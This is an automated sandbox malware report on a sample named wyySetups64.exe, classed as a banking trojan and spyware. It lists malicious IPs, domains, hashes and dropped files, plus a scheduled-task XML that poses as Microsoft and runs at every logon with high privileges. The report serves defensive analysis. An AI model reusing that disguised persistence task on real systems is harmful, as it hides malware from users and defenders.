Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	wyySetups64.exe
Detection:	MAL
Classification:	mal100.bank.troj.spyw.evad.winEXE@16/33@8/14
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 82% Number of executed functions: 321 Number of non-executed functions: 185
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2008 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3928 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:02:05	API Interceptor	6x Sleep call for process: powershell.exe modified
03:02:05	API Interceptor	2859077x Sleep call for process: wyySetups64.exe modified
03:02:11	API Interceptor	3x Sleep call for process: svchost.exe modified
03:02:44	API Interceptor	6034982x Sleep call for process: 360instpatch.exe modified
08:02:08	Task Scheduler	Run new task: .Net OneStart path: C:\Users\user\Downloads\360instpatch.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
1.192.136.170	360#U6d4b#U901f.exe	Get hash	malicious	Unknown	Browse
1.192.136.170	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse
118.107.44.219	MEuu1a2o6n.exe	Get hash	malicious	GhostRat	Browse
118.107.44.219	OdiHmn3pRK.exe	Get hash	malicious	Unknown	Browse
180.163.251.230	_____NCM______2_10042231.exe	Get hash	malicious	Unknown	Browse
	_____NCM______2_10042231.exe	Get hash	malicious	Unknown	Browse
	Inst7__9510085.exe	Get hash	malicious	Unknown	Browse
	xaAKuXBlkn.apk	Get hash	malicious	Unknown	Browse
	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse
149.129.12.34	file.ps1	Get hash	malicious	LummaC Stealer	Browse
149.129.12.34	https://sandisk2.oss-ap-northeast-2.aliyuncs.com	Get hash	malicious	Unknown	Browse
1.192.136.171	360#U6d4b#U901f.exe	Get hash	malicious	Unknown	Browse
1.192.136.133	360#U6d4b#U901f.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s.360.cn	https://ebaite.cn/	Get hash	malicious	Unknown	Browse	101.198.2.147
	https://www.imttolkent.com/	Get hash	malicious	Unknown	Browse	171.13.14.66
	http://mylovelybluesky.com	Get hash	malicious	Unknown	Browse	171.8.167.89
	SecuriteInfo.com.Trojan.Click2.57467.3204.14689.exe	Get hash	malicious	Unknown	Browse	171.8.167.89
	SecuriteInfo.com.Trojan.Click2.57467.3204.14689.exe	Get hash	malicious	Unknown	Browse	171.13.14.66
	_____NCM______2_10042231.exe	Get hash	malicious	Unknown	Browse	180.163.251.230
	_____NCM______2_10042231.exe	Get hash	malicious	Unknown	Browse	180.163.251.230
	http://www.gourmethousemacau.com/	Get hash	malicious	Unknown	Browse	171.8.167.89
	http://china.cn	Get hash	malicious	Unknown	Browse	101.198.2.147
	Inst7__9510085.exe	Get hash	malicious	Unknown	Browse	180.163.251.231
seupdate.360qhcdn.com	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse	111.13.65.25
st.p.360.cn	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse	1.192.136.170
agt.p.360.cn	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse	1.192.136.132

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CMNET-GDGuangdongMobileCommunicationCoLtdCN	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.150.97.30
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.151.161.150
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.135.228.168
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	36.169.144.160
	xd.mips.elf	Get hash	malicious	Mirai	Browse	112.28.62.4
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	117.183.45.215
	xd.x86.elf	Get hash	malicious	Mirai	Browse	221.183.165.41
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	36.167.111.22
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	36.184.46.9
	telnet.arm.elf	Get hash	malicious	Unknown	Browse	211.137.135.162
CMNET-GDGuangdongMobileCommunicationCoLtdCN	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.150.97.30
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.151.161.150
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.135.228.168
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	36.169.144.160
	xd.mips.elf	Get hash	malicious	Mirai	Browse	112.28.62.4
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	117.183.45.215
	xd.x86.elf	Get hash	malicious	Mirai	Browse	221.183.165.41
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	36.167.111.22
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	36.184.46.9
	telnet.arm.elf	Get hash	malicious	Unknown	Browse	211.137.135.162
CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR	mips.elf	Get hash	malicious	Mirai	Browse	1.192.222.114
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.192.240.164
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	1.192.222.117
	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	1.192.193.56
	mpsl.elf	Get hash	malicious	Mirai	Browse	36.99.183.94
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.192.193.76
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	1.192.240.133
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	36.99.33.202
	0aEXGHNxhO.elf	Get hash	malicious	Mirai, Okiru	Browse	36.99.206.133
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	171.8.167.22
CMNET-GDGuangdongMobileCommunicationCoLtdCN	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.150.97.30
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.151.161.150
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.135.228.168
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	36.169.144.160
	xd.mips.elf	Get hash	malicious	Mirai	Browse	112.28.62.4
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	117.183.45.215
	xd.x86.elf	Get hash	malicious	Mirai	Browse	221.183.165.41
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	36.167.111.22
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	36.184.46.9
	telnet.arm.elf	Get hash	malicious	Unknown	Browse	211.137.135.162

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	149.129.12.34
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	149.129.12.34
	Gabriel-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	149.129.12.34
	setup.msi	Get hash	malicious	Unknown	Browse	149.129.12.34
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	149.129.12.34
	test5.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	149.129.12.34
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	149.129.12.34
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	149.129.12.34
	solara-executor.exe	Get hash	malicious	Unknown	Browse	149.129.12.34
	Setup.exe	Get hash	malicious	Unknown	Browse	149.129.12.34

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\{DFE14265-3905-4689-9143-1E1473933304}.tmp\360P2SP.dll	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll	A1FsbRkm5m.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\360\360Safe\{350AFA5A-DE93-44a5-980D-D55D415A843C}.tf

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	2.715811782923715
Encrypted:	false
SSDEEP:	3:AlmklUCctl:9k+ftl
MD5:	A5B51AD7AAA9622E1508A73C7F4F9B25
SHA1:	0092290121284CCFDB50DE5DA4785FA21E084E29
SHA-256:	E8790019319BD842CE2A690A833E213C0B5306462B9A33C08794E330EE0FE1FA
SHA-512:	44E2D4BA5BE5B824607960BFA7926E7AA7C7498482775AB09B2F3AAF875F2F51460010A7052E59BD27D144F3F85E7DAA40A0573B953A8C128B4A6AF69B37BC6B
Malicious:	false
Reputation:	low
Preview:	{.3.5.0.A.F.A.5.A.-.D.E.9.3.-.4.4.a.5.

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.363788168458258
Encrypted:	false
SSDEEP:	6:6xPoaaD0JOCEfMuaaD0JOCEfMKQmDNOxPoaaD0JOCEfMuaaD0JOCEfMKQmDN:1aaD0JcaaD0JwQQbaaD0JcaaD0JwQQ
MD5:	0E72F896C84F1457C62C0E20338FAC0D
SHA1:	9C071CC3D15E5BD8BF603391AE447202BD9F8537
SHA-256:	686DC879EA8690C42D3D5D10D0148AE7110FA4D8DCCBF957FB8E41EE3D4A42B3
SHA-512:	AAA5BE088708DABC2EC9A7A6632BDF5700BE719D3F72B732BD2DFD1A3CFDD5C8884BFA4951DB0C499AF423EC30B14A49A30FBB831D1B0A880FE10053043A4251
Malicious:	false
Preview:	*.>...........&.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................&.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3107262203267638
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrN:KooCEYhgYEL0In
MD5:	CE3EC02AFA060E7FEA188FF570456C44
SHA1:	607FB96901A4E588344B5BFF18A506BEBDFEA944
SHA-256:	9FA93E8110A3AB754CC6C14B8B58D8A0D5F6FDE241451C23D6330759BB28D435
SHA-512:	8796F06B248EF85E8B228EC1E3A2E58FA42D7E96CD28DFD304FA547AF3177BAA8BA370927FEC4EC12E435E140EA00B1ED0A5E1B862BBB45FF29C14BF5F7CC19E
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0b4a0768, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4222349599198364
Encrypted:	false
SSDEEP:	1536:PSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:Pazag03A2UrzJDO
MD5:	655028FDD23ED451E0397773E1BAC1A9
SHA1:	A88696C81528F8D8236E76F1E85CC463079B78AD
SHA-256:	C0D458121BEB24C17B6F49A29EFF3AA48AED0053A7F906321AA9E26CA3EA92B2
SHA-512:	6E6FF28B91577EBE48780E2F92AEEE4A2B390273FEC9D6F311764652E6BE325A0C82A4FC23F84AA6F2BC2F146E4C416AAA2456E17906866EF355FDA99ACCDB2F
Malicious:	false
Preview:	.J.h... .......Y.......X\...;...{......................n.%..........\|.......\|..h.#..........\|..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................0@.......\|..................N..y.....\|...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07898751490061796
Encrypted:	false
SSDEEP:	3:i1OetYeZKwMkZAtn3YzZ09zmthQAtAllOE/tlnl+/rTc:mrzZK7JtnIqmthJtApMP
MD5:	CA434AEA9BBD4A5CE59A4C33180C02C9
SHA1:	21C49D045CD539AC790EEE8753ACD3A2E0AE3C8E
SHA-256:	76CD290CA1FA00F5C2A9965D575C65FF54B8EBFF38387011F24A17A3C1FF943B
SHA-512:	CD719F4A1616A36E4065B8F1CA4C34DCE9731F1BDD21284D72D9FF330EBD5B33EF49967DE7D0E0A776A119CEB37C088B53655EBB9A3A6DA69DD3A1112251D944
Malicious:	false
Preview:	5.@......................................;...{.......\|.......\|...............\|.......\|....7.....\|..................N..y.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\360instpatch[1].exe

Download File

Process:	C:\Users\user\Desktop\wyySetups64.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4118496
Entropy (8bit):	7.743814085153487
Encrypted:	false
SSDEEP:	98304:9lBo/r7J2a4FL8VdL0hvADfHraEk1qhJonrnYmIb:1oD7x4yVdDfLa8ky
MD5:	AAA0F14BDFE3777EEE342C27DE409E6D
SHA1:	6B5F9A7B71E6B105D1BFA26B0C7A4931ED9E5179
SHA-256:	B35314C2C3B1AAB777D621C6FD8516A877B27EFBDE4DD4ADDD6843C411E96AA3
SHA-512:	D584D30083E34964D846C88EB558DBA338E3B8982D6D71EFEC36461AEA12127CFCBA2BE9510D9EF254A85680A2BA2DDB21583CE5E77D5CF3AC0A65800E5AB25A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!..e..e..e....A.a..l.B.y..Bb..d..l.^.s..{.S.a..Bb..f..Bb..@..e.....l.T...l.S...{.C.d..l.F.d..Riche..................PE..L...,D.f......................2...................@...........................?......?...@.....................................\|.......l</...........>.H)...@>.h...@...................................@............................................text............................... ..`.rdata...M.......N..................@..@.data...L....0......................@....rsrc...l</......>/.................@..@.reloc..(....@>.......=.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulBkXj:NllUS
MD5:	453075887941F85A80949CDBA8D49A8B
SHA1:	7B31CA484A80AA32BCC06FC3511547BCB1413826
SHA-256:	84466098E76D1CF4D262F2CC01560C765FE842F8901EEE78B2F74609512737F8
SHA-512:	02E95B30978860CB5C83841B68C2E10EE56C9D8021DF34876CD33FD7F0C8B001C288F71FBBFF977DDF83031BD6CD86AC85688A6EFB6300D0221AA4A22ABE7659
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\PolicyManagement.xml

Download File

Process:	C:\Users\user\AppData\Roaming\wyySetups64.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1893
Entropy (8bit):	5.212287775015203
Encrypted:	false
SSDEEP:	48:c55XzDl4Q2ZbXL6Q0QFdOFQOzN33O4OiDdKrKsTLXbGMv:O5XzDl4Q2ZbGQhFdOFQOzBdKrKsTLXbV
MD5:	E3FB2ECD2AD10C30913339D97E0E9042
SHA1:	A004CE2B3D398312B80E2955E76BDA69EF9B7203
SHA-256:	1BD6DB55FFF870C9DF7A0AAC11B895B50F57774F20A5744E63BBC3BD40D11F28
SHA-512:	9D6F0C1E344F1DC5A0EF4CAAD86281F92A6C108E1085BACD8D6143F9C742198C2F759CA5BDFFAD4D9E40203E6B0460E84896D1C6B8B1759350452E1DE809B716
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2006-11-10T14:29:55.5851926</Date>. <Author>Microsoft Corporation</Author>. <Description>????? AD RMS ?????????????????? Web ?????????,???????????</Description>. <URI>\AS AMD updata</URI>. <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>. </RegistrationInfo>. <Triggers>. <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5ddbaf11">. <Enabled>true</Enabled>. <Delay>PT30S</Delay>. </LogonTrigger>. </Triggers>. <Principals>. <Principal id="AllUsers">. <GroupId>S-1-1-0</GroupId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerm

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp (copy)

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 648 bytes, 1 file, at 0x2c +A "setup.ini", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.46325903759004
Encrypted:	false
SSDEEP:	12:wztrG9cLEvuu0zPphueB3phrHtFGW4RJlXi2BzbtQ4F2k5xcGKB5bDHKq:wfLE2FzR8eB3phRkXZzbtL2yxcGabDqq
MD5:	DCF8A1E58C81782DC11CFF675B105B63
SHA1:	08D4821471E445965CAEAD5093AF44460CD74B92
SHA-256:	034283B5FA8C86E481E4B927A234A7A83533B42B851E0924E48BE77032182F27
SHA-512:	E36E9AA8278BF2055A5F16991F05B3329A404EF025A132A6E42AAEAB65E0BD05A43BE0E0829B54F7ECC95F8F2B6F82D32D08BD32F15600AF3B52B6372CC51E04
Malicious:	false
Preview:	MSCF............,...................F.......V..........YvT .setup.ini....C:.V.CKeQ..A..7.?......jQO...3..AB'i3.N:t.0..GnD...K....`.0.g...{..U..`..i..eY.5.U}v.^..}{.-....r..O..U{..d~_..'.v;...........,.EY.....&.....]]-...g._.eqq[.+.W.z.....?.\|.....]o......~N...B...,^.].iw.....z}{.6....'..).Y..2P..]..(&kZ.!..2o.=... ..y..!..It.P....HTL.K..]....<...E...\|.....?.>.....Bg.......o.M...ud......1..B..#P..'......3N......G.].....y4.......g.j}c...9..w..G....A....z....8..F/.s:..4U.....\Z..1.....{O"...Io..(.0.P:...BJ.<..::..x$*#...NF.<..F.`...E.r.L ..9KS .r..5..-b".h~[.1...dIa..ia...s...Az...W.Y.-...H.q.......<...`....0@J.....

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp.P2P

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 648 bytes, 1 file, at 0x2c +A "setup.ini", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.46325903759004
Encrypted:	false
SSDEEP:	12:wztrG9cLEvuu0zPphueB3phrHtFGW4RJlXi2BzbtQ4F2k5xcGKB5bDHKq:wfLE2FzR8eB3phRkXZzbtL2yxcGabDqq
MD5:	DCF8A1E58C81782DC11CFF675B105B63
SHA1:	08D4821471E445965CAEAD5093AF44460CD74B92
SHA-256:	034283B5FA8C86E481E4B927A234A7A83533B42B851E0924E48BE77032182F27
SHA-512:	E36E9AA8278BF2055A5F16991F05B3329A404EF025A132A6E42AAEAB65E0BD05A43BE0E0829B54F7ECC95F8F2B6F82D32D08BD32F15600AF3B52B6372CC51E04
Malicious:	false
Preview:	MSCF............,...................F.......V..........YvT .setup.ini....C:.V.CKeQ..A..7.?......jQO...3..AB'i3.N:t.0..GnD...K....`.0.g...{..U..`..i..eY.5.U}v.^..}{.-....r..O..U{..d~_..'.v;...........,.EY.....&.....]]-...g._.eqq[.+.W.z.....?.\|.....]o......~N...B...,^.].iw.....z}{.6....'..).Y..2P..]..(&kZ.!..2o.=... ..y..!..It.P....HTL.K..]....<...E...\|.....?.>.....Bg.......o.M...ud......1..B..#P..'......3N......G.].....y4.......g.j}c...9..w..G....A....z....8..F/.s:..4U.....\Z..1.....{O"...Io..(.0.P:...BJ.<..::..x$*#...NF.<..F.`...E.r.L ..9KS .r..5..-b".h~[.1...dIa..ia...s...Az...W.Y.-...H.q.......<...`....0@J.....

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp.dir\setup.ini

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	Generic INItialization configuration [360Safe]
Category:	modified
Size (bytes):	854
Entropy (8bit):	5.54815735280418
Encrypted:	false
SSDEEP:	24:9QQ08ETkByYcqQZLTvOIuAALne2toBFjlVH:9QUETacqQJWIdAzxtonlV
MD5:	CB13859BCE5ADF79C6B2E1C4601FA06A
SHA1:	5562D46E7FBD8A3FF92AFE2270B23F5E73FF45D7
SHA-256:	601CFCA4A7123503331D7641666F7F48164AEB2494B007ECE4C8880F51AF6E2D
SHA-512:	C355FAE3C70B875A08F4BA8BC7D9463D5DB686D2113970F0ED17A5D723DA2ADF82334AFAF3345AABB51A2A89873C15926341AA18D90FF374FA1FB68B82BF3AC4
Malicious:	false
Preview:	[360Installer]..SlideShowResourceURL=http://down.360safe.com/360safe/slideshow_new.cab..From=h_inst..Product=360Safe....[360Safe]..Name=360........Pid=h_inst..FID=setup_13.0.0.2008k..Version=13.0.0.2009..RegVersionFile=360Ver.dll..IsBeta=0..Urls=pdown://b2=100027000\|p2=B0A12507C5F7FB22D8E1EB5B2682074BD0218EF0\|p3=20\|p7=15\|c2=1\|b5=360......\|b6=........\|b7=5\|b9=1\|http://dl.360safe.com/setup_13.0.0.2008k.exe..MD5FileID=E901BD5EEF684DD36520382E5FC26236..SetupParam=/pid=h_inst /noreboot=1 /installer=1 /S..SlideShowImage=360safe_1.png,360safe_2.png,360safe_3.png,....[360signdata]..sign=0100000094BB9E7DD93895D39142938A10B443920CBE15CC1E5C20E47CA37526F047D27B4EE9567798C27E09EB3C005E187E0CE1A9B7EA4C2DA5D92120A8B6ABEBF270462455BBA3FD1AA5ACE5C44196EF1083BB9FAEDAD4C74F82DEFB96A173B5519816D7C03F06C87BAC684A0CF6FB459E487DCDEF38C3AF0864CB102E42D0FF3412A0

C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp.mem

Download File

Process:	C:\Users\user\Downloads\360instpatch.exe
File Type:	data
Category:	dropped
Size (bytes):	17
Entropy (8bit):	2.409267252251469
Encrypted:	false
SSDEEP:	3:lsS+n:U
MD5:	983514E15961BFDA71A616E3CA412147
SHA1:	8A938B2349A33CB8A45975F5E1084AC4ED702C72
SHA-256:	D22207FA67A53E84F79BEB0C103430CCAC7A6D6EEC028262135DDE91079F5566
SHA-512:	2C3D100D47A806CCB23F9ABCE816869C80B21EF6B6479C5A7BDEE47F9B14FCD004EE99F30ECC39A60AE35B1ADB0D4DAC52E58DABDB1885940A8888AC1E61B60E
Malicious:	false
Preview:	.................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1jndynk1.dgs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eulqoxph.te0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kt5adsyn.rvv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_runvla32.afr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yidiihbn.hij.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
